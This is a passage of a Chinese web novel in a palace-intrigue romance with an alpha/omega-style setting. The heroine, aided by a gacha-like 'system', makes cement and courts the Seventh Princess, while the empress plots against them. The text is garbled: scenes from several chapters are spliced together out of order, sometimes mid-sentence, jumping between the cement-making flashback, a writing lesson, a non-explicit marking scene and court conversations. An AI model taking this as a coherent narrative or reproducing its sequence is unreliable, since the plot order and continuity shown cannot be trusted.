季平安用指尖轻轻碰了下那个看起来格外冷酷的泥人,弯了下唇角。 看着冷漠,糖人倒是都吃了。 季平安还没有来得及和系统说话,便感觉自己的身边安静了许多。 她微微皱了下眉,转过身便看到御林军正朝着她的方向过来,列在街道两边。 而本应在宫中的沈之虞,身着明黄衮冕、头戴十二旒,正一步一步地朝着她走过来。 静默之中,季平安看着眼前的人:“殿……陛下。” 沈之虞没应,只是眼眸红的厉害。 她问道:“你要离开?” 季平安和她的视线相对,也能清楚地看到对方眼里的复杂情绪,像是有千钧重。 她抿了下唇,轻轻点了点头。 只是点完头,沈之虞的眼眶更红了些,似乎还带着些说不清道不明的偏执和恨意。 她握住了季平安的手腕,放到自己小腹的位置。 沈之虞又将刚才的话重复了一遍:“季平安,你要离开我和孩子?” 第 110 章 第 110 章 沈之虞的眼眶红的吓人,声音中也能听得出来难过。 但季平安根本无暇顾及,她的脑子里只有一个念头:对方的话是什么意思。 什么叫她离开沈之虞和孩子?! 谁的孩子?怎么会突然跑出来一个孩子? 季平安的视线垂下,看向她放在沈之虞小腹上的手,忽然觉得烫的吓人。 她想抬手,问清楚是怎么回事。 但还没有开口,脑海里残留的数据团便突然响起来提示。 季平安出了猎场之后,又看到了江书思。一个时辰前。 李帆躲过宫廷里面的守卫,径直进了皇后寝殿。 她自小习武,身手没得说。 再加上有皇后给她的守卫换班时间,几乎算得上来去自如。 见到寝殿卧榻上的宁如仪后,她低头轻声道:“听说娘娘找我?” 宁如仪和李帆同样年纪,但看着却要更为漂亮,雍容华贵,气度从容。 哪怕已经见了无数次,李帆还是有些移不开自己的眼睛。 听到声音,宁如仪只微微抬了下眼,才道:“陛下身边的人传话过来,说七公主没有死,但是失忆了。” 李帆看着眼前的人道:“失忆是真的还是假的?” 根据她以往的经验来看,七公主向来工于计谋,很难说失忆是不是为了放松她们的警惕。 “不知。”吃完早饭,她也跟着沈之虞一起到了公主府门口。 虽然知道沈之虞聪明谨慎,无论对上谁心眼都不少,但总归皇宫里的情况她们都不清楚,还是危险的。 见人上了马车,季平安又说了句:“万事小心。” 甚至还分着心想,她们两人还是早点成亲比较好。 如果她现在是驸马了,也就能和对方一起进宫了。 沈之虞对上她的眼眸,也看到了里面的关切,她微微点头,才将马车上的帘子放下。 过了会儿,马车消失在拐角处,季平安才收回了她的视线。 她看向自己的身边,“你是叫云棋?” 云棋微微俯身道:“小姐有什么事情,都可以吩咐。” 昨晚沈之虞说的话,府里的人也都听得清清楚楚。 哪怕不知道季平安的身份,但也全都是尊敬的。 季平安问道:“你会写字吗?” 当时在大柳村,她学习写字也没有多久,之后便是京城的事情忙的脚不沾地,自然更没有时间学了。 因此她现在也只认得当时沈之虞教过她的那几个字,余下的还是两眼一抹黑。 云棋道:“会。” 毕竟是跟在沈之虞身边的人,无论是文还是武都要会一些。 季平安:“那一会儿我说什么,你帮我写在纸上。” 已经到了京城,也不用太过担心安全的问题,刚好能趁着现在的闲暇时间,把水泥配方写出来。 虽然说水泥配方全在她的脑子里面,但想让别人跟着配方做出来,还是写出来最好。 云棋的执行力很强,没一会儿就准备好了纸笔,逐字逐句地将季平安说的原材料、比例、以及用途全部写了下来。 在云棋写字的时候,季平安也在脑海里面看着[大雍朝地图]。 她上次做的水泥只是小小的一块,但要是想要大批量地做,必然需要选好原料地点。 若是正常情况下,想找到石灰石必然需要去山上各处转转。 但她现在有了[大雍朝地图],直接看地图上的标注就可以。 黏土和砂子基本上是随处可见,石灰石倒也能够在京城旁边的山上找到。 季平安:“云棋,南山是在京城旁边吗?” 云棋:“对的,坐马车一个时辰就能到。” 季平安:“那这张纸上再写个南山。” 除了石灰石,在[大雍朝地图]上的南山,旁边还有个醒目的标志——煤炭。 当时在铁匠铺,老板用木炭就帮她把水泥烧好了。 在京城里不愁没有更好的木炭和炉子,大批量生产水泥也没有问题,只是成本会相对高一些。 若是能够用上煤炭,那成本也能够降下来。 但季平安除了地图上的这个煤炭符号标志,也没有更多的信息。 她不知道这里的煤炭是多是少,也不知道这里的煤炭和原来世界的煤炭会不会有差别、能不能直接用,因此只能先把这件事记在心里面,等之后再考虑。 夏天已经到了,虽然还不到放冰的季节,但也算不上凉爽。 宁如仪有一下没一下地摇着手中的圆扇:“但无论是假失忆还是真失忆,总归不能让她回到京城里来。” 李帆耳朵里面听着,但视线却不由自主地落在了宁如仪雪白的腕上。 她顿了片刻,伸手拿过宁如仪手上的扇子,帮对方用不大不小的力度摇着,“自然。” “需要我做些什么吗?” 宁如仪安然享受着李帆给她摇着的风:“不用,本宫已经和父亲说过了,他会派人去的。” 李帆点头,沈弘星的手段到底还是年轻了些。 若是再将这件事交给对方,说不定还会搞砸,七公主照样安然无恙地回到京城。 等到了京城,皇帝眼皮底下,她们也就不能做的太过分了。 李帆垂眸,继而问道:“那今天娘娘叫我来……” 如果只是交代这件事,直接派人到阳王府就好,哪里用得到她亲自来一趟皇宫。 宁如仪没说话,只是忽而伸手,摸到了李帆的腕上。 “你的胳膊,最近应该不疼吧?” 李帆和宁如仪从小一起长大,也算得上是对方的青梅。 不过宁如仪是丞相家里的嫡女,地位尊贵,而李帆当时只是街上的一个乞丐。 她是跟着自己的母亲来京城的,但两个人身上实在穷困潦倒,只能靠着乞讨生活。 不久后李帆的母亲也染病去世,便留李帆一个小孩独自在京城里面。 她年纪小,力气也小,没人想用她做工,李帆只能一边乞讨,一边寻摸着其他的法子。 遇到宁如仪哪天,她刚好捡到了对方的荷包,绣样精美,里面还装了不少银子。 她在原地纠结了好一会儿,才跑着追上当时出街来玩的宁如仪。 “小姐,你的荷包!” 宁如仪当时已经有了如今的影子,单是站在街上,便能和其他人区分开来。 听到声音,她才摸了摸自己的身上,知道自己荷包掉了。 宁如仪打量着眼前的小乞丐,比她稍微高一点,身上脏兮兮的,唯独那双眼睛格外漂亮。 后来宁如仪便将人带回了家,当一个护卫培养在身边。 李帆确实当的很合格,无论遇到什么危险,都会挡在她前面。 而且还自学各种兵法谋略,帮她盯着宫外的状况,用着格外舒心。 李帆愣了一下,但是没躲开,感觉着宁如仪的指尖划过她的小臂。 她轻声道:“不疼。” 她想到刚才既然自己让对方生气了,还是躲远一些比较好。 谁知道她刚走出两步,江书思便主动走到了她面前:“季大人。” 季平安只能接话:“江大人,可是有事?”季平安哪怕是还在生着气,也没有忘记仔细看着沈之虞的腺体。 说话的时候,对方的腺体也被安抚地差不多,因为疼痛而泛起来的红也褪了下去,微微发着烫,突出一块抵在季平安的指腹上。 她微微倾身靠近,比体温稍高一些的呼吸,也轻抚过沈之虞的腺体。 即将碰到的时候,沈之虞像是受不了一般,侧过脖颈躲开。 她垂眸,语气里难得带了些软:“……季平安。” 季平安看向她,轻声问道:“殿下,怎么了?”季平安告别沈之虞后,便先回了村。 她得到了配方,也知道了水泥如何做,当即就按着配方开始找材料。 水泥的原料简单,最主要的原料便是石灰石和黏土,有了[大雍朝地图],找到石灰石不是什么难事。 至于原料配比在[水泥配方]上也有写,只要照着来就行。 到底现在用不上水泥,季平安也只准备简单地做个样,因此只简单地捡了两块差不多的石灰石。 石灰石先被处理成细碎的小块,然后将黏土也碾碎,过了两遍筛子后成粉末状。 煅烧石灰石需要上千度的高温,季平安也没有打算自己烧炉子。 她带着处理过的石灰石和黏土,到了县城里的铁匠铺。 季平安:“老板,能不能帮我把这些东西砸碎些,再烧一下,钱不是问题。” 铁匠铺里面不仅有铁锤,还有火炉和风箱,炼铁的时候完全可以达到上千的温度。 铁匠老板也熟悉她,只是看到这堆石头和黏土,还是有些不理解:“你烧这些东西做什么?而且,我一炉烧下去,最起码也要五到十两银子。” 这个时候煤炭还没有普及,炼铁都用的木炭,价格也贵。 季平安装傻道:“这不是听别人说,这样烧能出来好东西,我就想过来试试。” 铁匠铺老板语重心长地对她道:“你这一堆石头和黏土,总烧不出来金银或者玉来,何苦白费这种心思。” 季平安直接拿出来十两银子放到她手上:“这下可以烧了吧。” 铁匠铺老板还想拒绝,旁边的老板娘噗嗤笑了:“你给她烧烧吧。” 烧过这一次吃了亏,就知道之后不能烧了。 铁匠铺老板很听老板娘的话,当即就无奈答应了下来,又退给季平安五两银子:“用不了这么多银子。” 季平安带过来的东西少,烧起来也不麻烦。 铁匠铺老板按照她说的,先把细碎的石头用铁锤敲了敲,直到碎成粉末状的样子,然后和黏土一起放到炉子里面。 其实在里面放些铁粉末更好,但这炉子本来就是用来炼铁的,季平安也不用费心了。 等到烧出来后,铁匠铺老板把里面的粉末倒出来,和放进去之前没有什么区别,就是颜色变灰了些。 她对着季平安道:“……你看看,这看着也不像好东西吧。” 季平安把东西收起来:“老板你说得对,我往后还是别白费这种心思了。” 见到人走后,铁匠铺老板才和老板娘道:“你说她这是图啥,五两银子就这样没了。” 老板娘轻轻笑了下:“你当时第一次炼铁,不也烧坏了两炉子还是三炉子来着,我娘都说让你别干这行了。” 三炉子用的木炭再加上原料,可不比五两银子少。 黑历史被提起,铁匠铺老板咳了一声,道:“那是第一次嘛,我之后烧的不全都成功了。” 季平安不知道铁匠铺老板有过这样的“辉煌时刻”,她得到水泥后便连忙回了村。 水泥一般不能单独用,一般都是混着砂子做成砂浆,或者是再混上石子变成混凝土。 但系统很严格,给的图纸是[水泥图纸],上面的配比便只有水泥,完全没有混凝土的比例。 好在季平安之前当博主的时候,给自己家里砌过一个小花园。 当时为了视频丰富性,她选择了全程自己干,特地在网上搜索过各种配比。 这也是为什么,只能兑换一种图纸的时候她还会选择[水泥图纸]。 只是到底隔了段时间,季平安只能先找来些小石子和砂子,按着自己记忆里面的配比,用一点水泥先进行尝试。 觉得没有问题后,才把所有水泥分成两半,一般是泥浆,另一半是混凝土。 她做的量少,加起来也只有两个巴掌大,经过两天暴晒后也干得差不多了。 沈之虞的长睫被浸湿,又是另外一种漂亮。季平安说了确认后,页面便开始慢慢地发生变化。 透明色的页面持续波动,等到系统的声音开始播报后,页面也没有变为浅金色。 季平安倒是并不意外,哪怕系统说了沈之虞的好感度越高,她能够抽到优类物品的概率也就越大,但也只是“概率”而已。 如果不是百分百概率,那每次的结果总会有差异。 她还记得爱玩抽卡游戏的朋友说过:“抽卡就是这样,你永远不知道按下抽卡键后,结果会是什么样。” 可能上次抽卡还能出现两个优类物品,下一次又全部都是凡类物品。 但也正是因为如此,抽卡才会让人欲罢不能,季平安现在也算是深有体会。 她看着眼前页面上系统播报,九次抽卡机会,得到了一个良类物品和八个凡类物品。 凡类物品有:金疮药、针线卷、棉布一匹、竹篮、栗子十颗、白芷、盐、拨浪鼓。 季平安目光落到最后的[拨浪鼓]上:“……” 抽卡系统里面的东西很多,哪怕已经抽了几十次,重复的东西都没有几个。 但坏处也有,就是会抽出来很多没有用的东西。 比如上次的[放松音乐],又比如现在抽到的[拨浪鼓]。 季平安把金疮药先放在了旁边,然后又仔细看剩下的良类物品。 她感受着浓郁的向日葵花的味道,问道:“要标记吗?” “对,早点标记殿下也好受些。”季平安对刚才郎中的话记得很清楚。 顿了片刻后,沈之虞才轻轻地嗯了声。 两人重新贴近,季平安重新俯身的时候,脑海里却忽地闪过一个念头。 或许沈之虞刚才不是没有听到她的话,只是在犹豫? 或者说,是在害怕?在山上的三天,她都是睡在孟水山林子里面的木屋。 虽然能够遮风挡雨,但总归算不上舒适。 吃完饭后,季平安先回到屋子里好好睡了一觉。 等她醒来从屋子里出来后,已经快到了傍晚,好在天色还是亮着的,沈之虞正在教岁岁学写字。 见到她出来,沈之虞问道:“你要过来吗?” 季平安眨了眨眼,随后道:“来,你们在写什么?” 难道这就是0好感度和负好感度的区别吗? 沈之虞竟然主动问她要不要学写字! 岁岁正拿着树枝在地上划:“阿姐,我在写上次认识的字。” 季平安也坐到她旁边,随手掰了根树枝,“你写的这是什么字?” 岁岁用手比着给她说:“这个字是小,这个字是黄。” 沈之虞教的时候,选的也是日常生活中常见的字,这样学习起来记忆也会更深刻。 季平安:“你们这些天学新的了?” 怎么三天不见,岁岁比她认识的字还要多了,她的学习进度反而还落下了。 岁岁点头,还把这些天学到的字都和季平安说了一遍。 季平安听着,夸她:“岁岁现在认识这么多字了,要不要教教阿姐?” 听到这话,岁岁顿时有些紧张,担心自己会写错,道:“阿姐,还是让阿九教你吧?” 沈之虞摸了下她的头:“岁岁按我教的写一遍就行,如果错了我会说的。” 季平安也鼓励道:“岁岁,你阿姐可是很聪明的,放心教,我肯定学得很快。” 岁岁这才应了下来,慢慢地用树枝在地上写字。 小孩的手腕力气不大,因此一些部分看起来有些歪歪扭扭,但还是能够看出来里面的认真。 岁岁写完之后,季平安在两个人的注视下开始照着模仿。 写完第一个字,还没有松口气,岁岁便道:“阿姐,这里你写错啦,应该是这样的。” 季平安看了眼,“好像确实不太一样。” 沈之虞道:“去掉好像两个字。” 季平安:“……” 她在小孩面前不要面子的吗?! 果然,刚才都是她的错觉。 沈之虞的心思确实缜密,也确实能够忍痛,但不管怎样说,这都是她第一次被标记,犹豫和迟疑都是正常的。 在她靠近的时候想躲也是正常。 想到这里,季平安生气的情绪也少了些,心都软了些。 她轻轻晃了下两人扣紧的手,柔声道:“殿下,标记的时候你点一下我的手,我就会停。” 乾元太过温柔,沈之虞此刻也说不出来任何阻止的话。 刚才的安抚太过磨人,她的视线前带着层水雾,已经有些看不太清楚,唯独乾元的声音清清楚楚。 一字一句,随着早已乱掉的心跳响在她的耳中。 沈之虞没有回答,也回答不出来,因为乾元的唇已经碰到了她的腺体。 唇瓣和带着薄茧的指腹不同,又软又柔,带着微乱的呼吸,让她忍不住发出一声闷哼。 房间内的气氛格外暧昧,任谁进来也能看出现在是什么情况。 床上原本整齐的被褥被扯出些褶皱,凌乱的如同她们的呼吸。 两人的里衣都脱掉了一半,松松垮垮地搭在肘弯的位置。 她们的肩抵着肩,锁骨抵着锁骨,最后一丝距离消弭,肌肤贴在一起,交颈地相互靠着。 沈之虞第一次雨露期的时候,曾经咬过季平安的腺体,但当时的她也只是感觉有些酥酥麻麻的痒,和咬其他的位置似乎并没有什么不同。 但当她真的靠近沈之虞腺体的时候,又是完全不同的感觉。 腺体处幽兰的味道格外浓郁,偶尔掺杂的冰雪气息也让人着迷。 靠的越近,像是往花园进的越深,还能感受到很浅淡的甜,这是她从前并没有闻到过的另一种香气。 季平安微微张开唇瓣,含上了她的腺体,舌尖刚好抵到那片突|起处。 她感觉自己的手陡然被扣紧,怀里的人彻底软在了她的身上,两人的腰几乎都要挨上。 季平安抬手轻轻抚了抚她的背,唇瓣微动,温软的舌尖滑过那片突起,带起一片痒意,然后标记牙便咬了下去。 如同水蜜桃一般,外面已经足够好闻,但咬破之后的味道还要更香甜可口。 季平安忽略了她们两人的契合程度,也低估了坤泽对乾元的影响。 不知不觉间,向日葵花的信香慢慢注入到了沈之虞的腺体内,也裹满了她的全身。 已经分不清是谁的呼吸,略带急促的喘息声响起在这片小小的空间。 窗外的光线慢慢偏移,最后在她们的脚边留下一团光影。 两件颜色相近的外衫被扔在地上,分不清是如何交缠,只觉得亲密地不能再亲密。 江书思:“礼部祭祀事物我会整理好,三日后会交给你。” 她抿了抿唇,随后又道:“季大人既然负责夏苗这件事,切记以陛下安危为重。” 不得不说,江书思比起其他人来,实在算得上一股清流了。 连提醒都是友善的,像是担心季平安被关舫这些人哄骗过去。 季平安确实需要这些东西,笑着道:“多谢江大人。” 江书思:“职责所在,担心你牵连到殿下而已。” 既然先前两人将话说开,她在季平安面前也不会藏着掩着。 若是季平安犯了错,那沈之虞和整个虞家也会受到牵连,她也不愿意看到,这才特地等在猎场门口,想着提醒对方一句。 季平安:“……?”经过前几次的抽卡,季平安也看出来了抽卡系统各种物品的一些规律。 像优类物品,用处大、范围广,哪怕得到一个也能带来很大的帮助。 良类物品也很有用,就是会有时间或者次数的限制。 季平安看着页面上的读心术,忍不住道了句:“这可是好东西。” 如果之后遇到心怀鬼胎的人,用上这个[读心术],能立刻知道对方在想什么。 季平安听完后,思考片刻后道:“那这个要求先留着吧,我以后再用。” 沈之虞的眉微微皱了下:“你不想去京城?” 她基本能够猜到,季平安特地住在她旁边的房间,应该就是想去京城,所以她才没有追问,也给了对方这个机会。 一方面是感谢,另一方面也是她想看看季平安究竟想做什么。 但沈之虞没有想到,季平安竟然没有用这个要求。 季平安:“想去,但我以什么身份跟你去呢?” “在大柳村认识的人,还是伪装成公主府的普通侍卫?” 季平安听到系统的声音,问道:“除了使用次数限制和时间限制,还会有其他的限制吗?” 像之前抽到的[x2],种种限制还是她自己摸索出来的。 如今有了系统,倒是不用再自己一遍遍尝试了。 [读心术]只有一次机会,她不想浪费。 系统道:“[读心术]只能选定一个人物进行读心,宿主要谨慎使用哦。” 听到系统的话,季平安内心叹气,能钻的空子又少了一个。 了解完这次抽到的优类物品后,季平安继续抽卡。 难道这就是传说中的爱屋及乌? 不管心里如何想,她面上还是领了好意,应声道:“我知道的。” 江书思嗯了声,顿了片刻后才道:“凡事记得多和殿下商量。” 说完,她便迈步离开,徒留季平安一个人待在原地消化她的话。 这是真的喜欢啊。 那晚不是梦,而是真真实实存在的。 沈之虞听到她的话,难得心里没有疼。 也有可能是疼的次数太多,到现在已经麻木了。 她看着眼前的人,语气冷淡地道:“不是梦,是不是很失望?” “想起来那晚的事情,是不是就觉得特别恶心,恨不得是一场……”噩梦。 话还没说完,季平安便吻上了她。 匕首“叮当”地落在了地上,没说完的话也尽数都堵在了唇边。 不失望。 不是噩梦。 是她的求之不得。 110-113 第 111 章 第 111 章 沈之虞人很清冷,但是唇瓣却很软。 季平安吻上后,才真真切切地感觉到,不是幻梦。 只是两人的唇瓣相贴还不超过三秒,她便被人推开。 沈之虞鼻尖似乎还残存着刚才那熟悉温热的气息,她的视线紧紧地盯着眼前人。 “季平安,你知道自己在做什么吗?” 季平安看着她润了些的唇瓣,“知道。” 宫里人多眼杂不方便说话,她们只闲聊些无关紧要的话题。 等回到府上后,季平安才有机会问道:“夏苗是什么?” 沈之虞:“春蒐、夏苗、秋狝、冬狩,皇室每年固定的四次狩猎。” 春蒐和秋狝最为隆重,但夏苗也算得上是皇室每年重要的事情。 夏苗办过许多次,流程上不麻烦,六部和宫里的人各司其职便好。 皇帝在殿里的意思,就是季平安不用做实事,狩猎过程中不出问题便好。 季平安听完之后,叹道:“这活最难干了。”翌日。 “你是说,她昨晚在我的房间门口?”沈之虞下意识看向房间门口的位置。 虞柏道:“是的,丑时左右。” 丑时,正是凌晨。  哪怕好感度到了0,沈之虞的身上也不会出现“温柔”这样的字眼。 写了会儿,季平安问她们道:“我看天有点黑了,要不然我们做晚饭去?” 刚睡醒,还是不太适合学复杂的认字、写字。 岁岁看了眼地上,季平安才刚写完第三个字,她道:“阿姐,还能再写一会儿呢。” 季平安当没有听到这句话,顺便把岁岁手上的树枝拿过来,语重心长道:“得先吃饱饭,才能学得好,剩下的阿姐明天再学也不迟,阿九说是不是?” 闻言,岁岁转过头看向沈之虞。系统:“是啊~”确认自己得到水泥图纸后,季平安从床上起来,这时才看到趴在桌子边的沈之虞。 睡着的她看起来没有平时那么高冷疏离,长长的眼睫投下浅影,总觉得比在大柳村的时候要瘦了些。 季平安尽量放轻自己的动作,从旁边拿了件薄毯,准备给沈之虞披到肩上。 只是毯子刚落到身上,沈之虞便动了下,下意识攥住了季平安的手腕。 她怎么觉得,沈之虞像是故意给她开后门呢? 沈之虞看了她一眼,才道:“可以。” 沈之虞短暂和季平安对视了一眼,才和岁岁道:“别和你阿姐学。” 某人明天会不会学,她都能够猜到答案了。 季平安:“……”季平安:“醒了?” 看到熟悉的人,沈之虞才嗯了声,顺便松开自己的手。 哪怕隔壁的房间收拾干净,她的心里也有些受不了继续待在那里。 但也不会和季平安挤到一张床上,因此便在趴在桌子上休息了一晚。 她们洗漱完之后,季平安也把早饭拿了上来,油炸桧和米粥,还配了盘凉拌豆腐。 油炸桧就是经常说的油条,炸的有些过头,季平安尝了口不难吃,“就是没我的手艺好。” 沈之虞没吃过她炸的油条,因此没回答她的话,只是问道:“岁岁呢,在家里面吗?” 季平安:“岁岁在芸娘家里面,不用担心。” 沈之虞看向她:“你提前安排好的?” 季平安笑了下:“算不上,我这也算是岁岁的委托吧。” 沈之虞:“手不抖了?” 听到这话,季平安也想起来了昨晚沈之虞那放轻的语气,甚至还知道给她用热布巾。 “不抖了”,季平安道,“昨晚还要多谢谢你呢。” 昨晚确实是有些害怕,但若是和自己被杀对比起来,似乎也没有那么可怕了。 她的调节能力也很强,总归能够慢慢适应。 沈之虞垂了下眸,道:“……不用谢。” 客观来说,该谢的应该是她才对。 “你也帮了我,我可以答应你一个要求。” 昨晚的黑衣人很多,若是只有她自己,或许坚持不了那么长的时间。 不管季平安是为了什么原因过来,总归是救了她。 季平安也没有预料到沈之虞这么大方,既给她加好感度还答应她要求的。 她愣了一下才问道:“什么要求都能答应?” 沈之虞道:“能力范围之内。” 季平安:“也能带我去京城?” 好在她的目的还是达到了,成功把两人拐到灶房里面开始做晚饭。 季平安准备做茄子炖肉丸,再蒸些馒头,都有现成的食材,做起来也简单。 锅中放油后,先把切成滚刀块的茄子放下去,翻炒出香气后,就能够往里面加清水和调味料。 大火烧开,茄子炖的软烂入味后,之前炸好的金黄酥脆的肉丸也放下去,再等上一会儿后就能够吃了。 她盖上锅盖,准备再闷一会儿,转过身就看到沈之虞正看着灶上。 “饿了?”季平安问道。 沈之虞摇头:“不饿。” 季平安好奇,“那你怎么看着灶?” 沈之虞收回自己的视线,道:“我只是在想……” 说到一半,她顿了下才继续:“这道菜做起来好像简单一些?” 上次她已经把季平安做菜的步骤记了下来,但自己做起来似乎就又不同了,总是会出现偏差。 季平安笑了下,听完也明白了沈之虞在想什么。 她看了眼沈之虞白皙漂亮的手,比起做饭来,好像更适合杀人。 但还是给对方解释道:“什么时候放食材,油盐要放多少,每道菜要用大火还是小火,都会影响到饭菜的口味,做饭顺序对了只是第一步。” 沈之虞倒是没有想到做饭还会这么复杂,她问道:“你对做饭好像很了解?” 这话是夸奖了,季平安弯了下唇角,谦虚道:“了解过一些,不过也只能做做家常菜。” 她当视频博主的时候,做完吃不掉的饭菜,经常会打包送给邻居,她们也都是赞不绝口的。 沈之虞道:“那你之前当过厨子?” 这两个字出来,季平安原本还放松的心顿时提了下,她立刻回答道:“没当过厨子,可能是天赋。” 沈之虞眯了下眼:“是吗?” 季平安:“当然,要不然你问问岁岁。” 她也是刚反应过来,白日里聊完天后,沈之虞应该能够确定她和原主有区别。 沈之虞:“她做什么了吗?” “没有。”虞柏道:“季小姐站了会儿,期间似乎想要敲门但没有敲,之后便回了自己的房间。” 沈之虞垂眸道:“我知道了。”这样想着,她的脑海中再次浮现出沈之虞当时说的话。 “给你名分。” 沈之虞说话的时候,总是淡淡的,听不出来多余的情绪,和幽兰的气质有些像。 但也正是这样,说出来这四个字后的反差才更明显。 季平安当时的心,莫名地多跳了一下。 她捏了下指尖,才笑着问对方道:“殿下,什么时候有的这个想法?” 沈之虞道:“刚才。” 信香失控和被标记,都是沈之虞没有预料到的事情,但也不会影响接下来的计划。 她既然已经决定让季平安当驸马,那皇帝早晚都会知道。 那是由她和皇帝说,还是太医说,倒不是很重要了。 季平安这时候也跟上了沈之虞的想法,眉很轻地扬了一下,道:“多谢殿下。” 季平安对于“名分”这件事并不在意,毕竟无论成不成驸马,她都会尽心尽力地帮助沈之虞。 但由沈之虞亲口说出来,却又是另外一种感觉,让她莫名开心不少,连带着对“名分”都有了些期待。 沈之虞顿了片刻后才道:“应该的。” 回忆完白日的事情,季平安往上拉了拉被子,唇角带了些弧度。 她闭上眼睛,在心里很轻地说了句,殿下晚安。 隔壁房间。 已是深夜,沈之虞的桌案上仍然还有未处理的信件和府中事物。 连看了两个时辰,身体都是疲倦的,胳膊和眼睛都能觉出些酸痛来。 但往日总是刺痛的腺体,现在却安安静静,不经意间还能闻到浅淡的向日葵花的味道。 灯烛的光微微晃动,沈之虞看着烛光,不知怎地忆起白日里的乾元。 对方听到太医的话,眼眸眨动的频率都要比往常快,便如此刻的烛光,连转移话题都没有往日的流畅自如。 她垂眸拿起桌上未看的账本,心里倒是只有一个想法。 看来对方确实是第一次标记坤泽。 说完后,她便出了房间,也看到院子里面的人。 季平安昨晚回到自己的房间后,心里面惦记着这件事,也睡不着,因此天蒙蒙亮就起来了。 见到人出来,她主动道:“早。”雨露期结束,还是需要些食物补充补充体力。 见云琴应了声后,季平安就回到了自己的房间先洗了个澡。 上次雨露期的时候,洗完澡后,身上的信香味道也就没有了。 今天却不同,洗完换上衣服后,还是能够闻到浅淡的兰花香气,像是从自己的腺体跑出来一般,细细密密地飘在身边。 难不成是因为这次标记的缘故? 季平安偏过头轻轻闻了下自己颈侧的衣领,也有些理解沈之虞先前说的话。 若是真的随便让一个乾元标记了,岂不是会随时能够闻到对方信香的味道。 洗完澡回到房间内,季平安便听到了自己肚子的叫声。 标记虽然不复杂,但如果想要对方舒服的话,就要时时刻刻控制着注入信香的力度。 再加上她们两人还是贴在一起的姿势,她也抱了对方好久。 季平安的思绪不由得飘远了些,标记从某种程度上来说,也确实算得上力气活。 拿了桌上两块点心后,她走到岁岁的旁边。 小孩正趴在桌子上,认认真真写字。 回到京城后,纸墨自然不缺,府里的人这些天也教了岁岁不少字。 听到声音,小孩转过头看到她,叫道:“阿姐!” 季平安笑了下,坐到小孩旁边:“在写什么字?” “阿姐,写的不好。”岁岁有些不好意思,想伸手捂住。 明明之前用树枝写出来的还是横平竖直,但是换上毛笔之后,写出来的字就有些歪歪扭扭。 季平安拦住小孩的手,认认真真地看完才道:“哪里不好,阿姐觉得很不错啊。” 岁岁贴近她些,小声问道:“阿姐,真的吗?” 季平安往岁岁嘴里塞了块点心,道:“当然,阿姐还能骗岁岁不成。” 她这话倒也不是为了哄小孩开心,而是觉得真的不错。 岁岁接触写字的时间本来就不长,几天时间能写成这样已经很不错了。 想到这里,她又问道:“岁岁,你喜欢看书吗?” 季平安不是揠苗助长的家长,若是小孩不喜欢读书写字,她也不会强求。 岁岁想了一会儿,点头道:“阿姐,喜欢的。” 季平安摸摸她的头:“那岁岁学会就能教阿姐了。” 看来等以后有机会,可以考虑给岁岁请个老师。 岁岁认真点头,将这件事情记在了心里,然后问起来:“阿姐,阿九姐姐生病了吗?” 她当时没有在府门口,但也听说了请郎中的事情。 “之前生病了”,季平安道,“不过现在已经好了。” 她说话的时候顿了一下,岁岁的心也提起又放下:“阿九姐姐没事就好。” “岁岁说得对。”季平安也弯了下唇角。 说到这里,她也在脑海里调出来系统页面。 打招呼的时候,季平安也没有忘了观察沈之虞。 对方今天还是穿了件偏向月白色的衣服,流纹锦光滑细腻,还掺杂着细细的金线,阳光落到上面有种蜿蜒流动的舒展。 对方每换一件衣服,都能够惊艳到季平安,这次自然也同样。 但季平安只是浅浅地看了眼,注意力便重新落到了沈之虞的脸色上:“昨晚睡得怎么样?” 沈之虞走到她身边,道:“还好。” 说完,她便想问问昨天晚上的事,“你……” “你……” 不期然,季平安也开了口,两人的声音撞到一起。 沈之虞道:“你先说。” 季平安看着她道:“没什么,就是看你脸色好像有些不太好,身体不舒服?” 可能是心理作用,她总觉得今天的沈之虞看上去是生病了。 问完,沈之虞顿了片刻才道:“是有点。” 她今天早上醒来后,腺体便又开始疼,而且比以往都要疼,吃了粒抑制丸,又让云琴帮她熬了些缓解的药。 说话间,云琴也带着药过来了。 药苦涩的味道传到季平安的鼻间,她看着灰褐色的药汁,问道:“什么病,找郎中看过了吗?” 沈之虞喝完药,苦涩的味道在口中蔓延。 她缓了会儿,看着乾元略带担忧的目光,抿了抿唇道:“还未看过郎中,可能是风寒。” 听完,季平安的眉头微微皱了皱:“那让云琴叫个郎中,药不能乱吃。” 不少病和风寒的症状相同,但其实需要用到的药天差地别,不能草率对待。 怎么在自己的身体上,沈之虞就这么糊涂呢。 沈之虞的指尖动了下,出声道:“我现在要进宫,等我回来吧。” 她腺体的事情,总归是要和季平安说的。她们这边尘埃落定,彻底放下心来,但打探到旨意的其他人就没有这么淡定了。 京城的地方本就不大,稍微有个风吹草动就能传遍满城风雨,更不用说是公主选驸马这种大事。 他们都没有听到七公主要选驸马的风声,怎么这就要成亲了?! 还有那个叫季平安的人,京城真的有这号人吗? 怀化将军之女,他们怎么从来没有听过! 皇帝赐亲,还有传言说是七公主亲自求来的,这又是真的假的?! 这一天,京城所有人的话题都离不开“季平安”这三个字。 皇后宫中,同样如此。 沈弘星紧紧地皱着眉问道:“母后,可查到此人是谁,难不成有什么其他隐藏的身份?” 宁如仪姿态慵懒,头虚虚地搭在保养白皙的手背上。 她慢声道:“东和县的猎户,沈之虞失忆的时候就是住在她家里面,身份没什么特殊的,季副将的女儿是七公主给她安的假身份。” 沈弘星此次进宫,也带着李帆一起来了。 她站在沈弘星身后,不过视线却是落在了宁如仪的身上。 皇帝身边伺候的人,安插着他们的人手,皇帝和沈之虞在殿里说的话,也被原原本本地记了下来。 也包括沈之虞说的那句“非她不可。” 沈弘星心中疑惑更甚:“那沈之虞为何选择和她成亲,还是季平安本人有什么特殊之处?” 宁如仪闭目养神,道:“从收集到的信息看,只是个普普通通的乾元罢了。” 沈弘星:“难不成沈之虞,真的看上对方了?” 他心里是不信的,毕竟往常的沈之虞对待乾元最为冷淡。 一年前,不少人还试过往公主府献有才有貌的乾元,结果被对方狠狠摆了一道。 宁如仪轻轻的哼了一声,睁开眼后也看到了站的挺直的李帆。 只是从回到京城后,沈之虞便在思考该如何开口。 直接说她的腺体出了问题,没有办法控制自己的信香,往后可能都需要乾元的标记? 沈之虞开不了口。坐上出宫的马车,季平安也总算彻底放下一颗心。 她看向对面坐着的人,想到进到殿里对方便是跪在地上的:“皇帝是不是为难你了?” “还好。”沈之虞道,又将殿内的事情和她说了说。 听到皇帝刚开始不同意,之后又提起沈之虞的母妃,最后才故作善解人意地同意后,季平安忍不住道了句:“老戏精。” 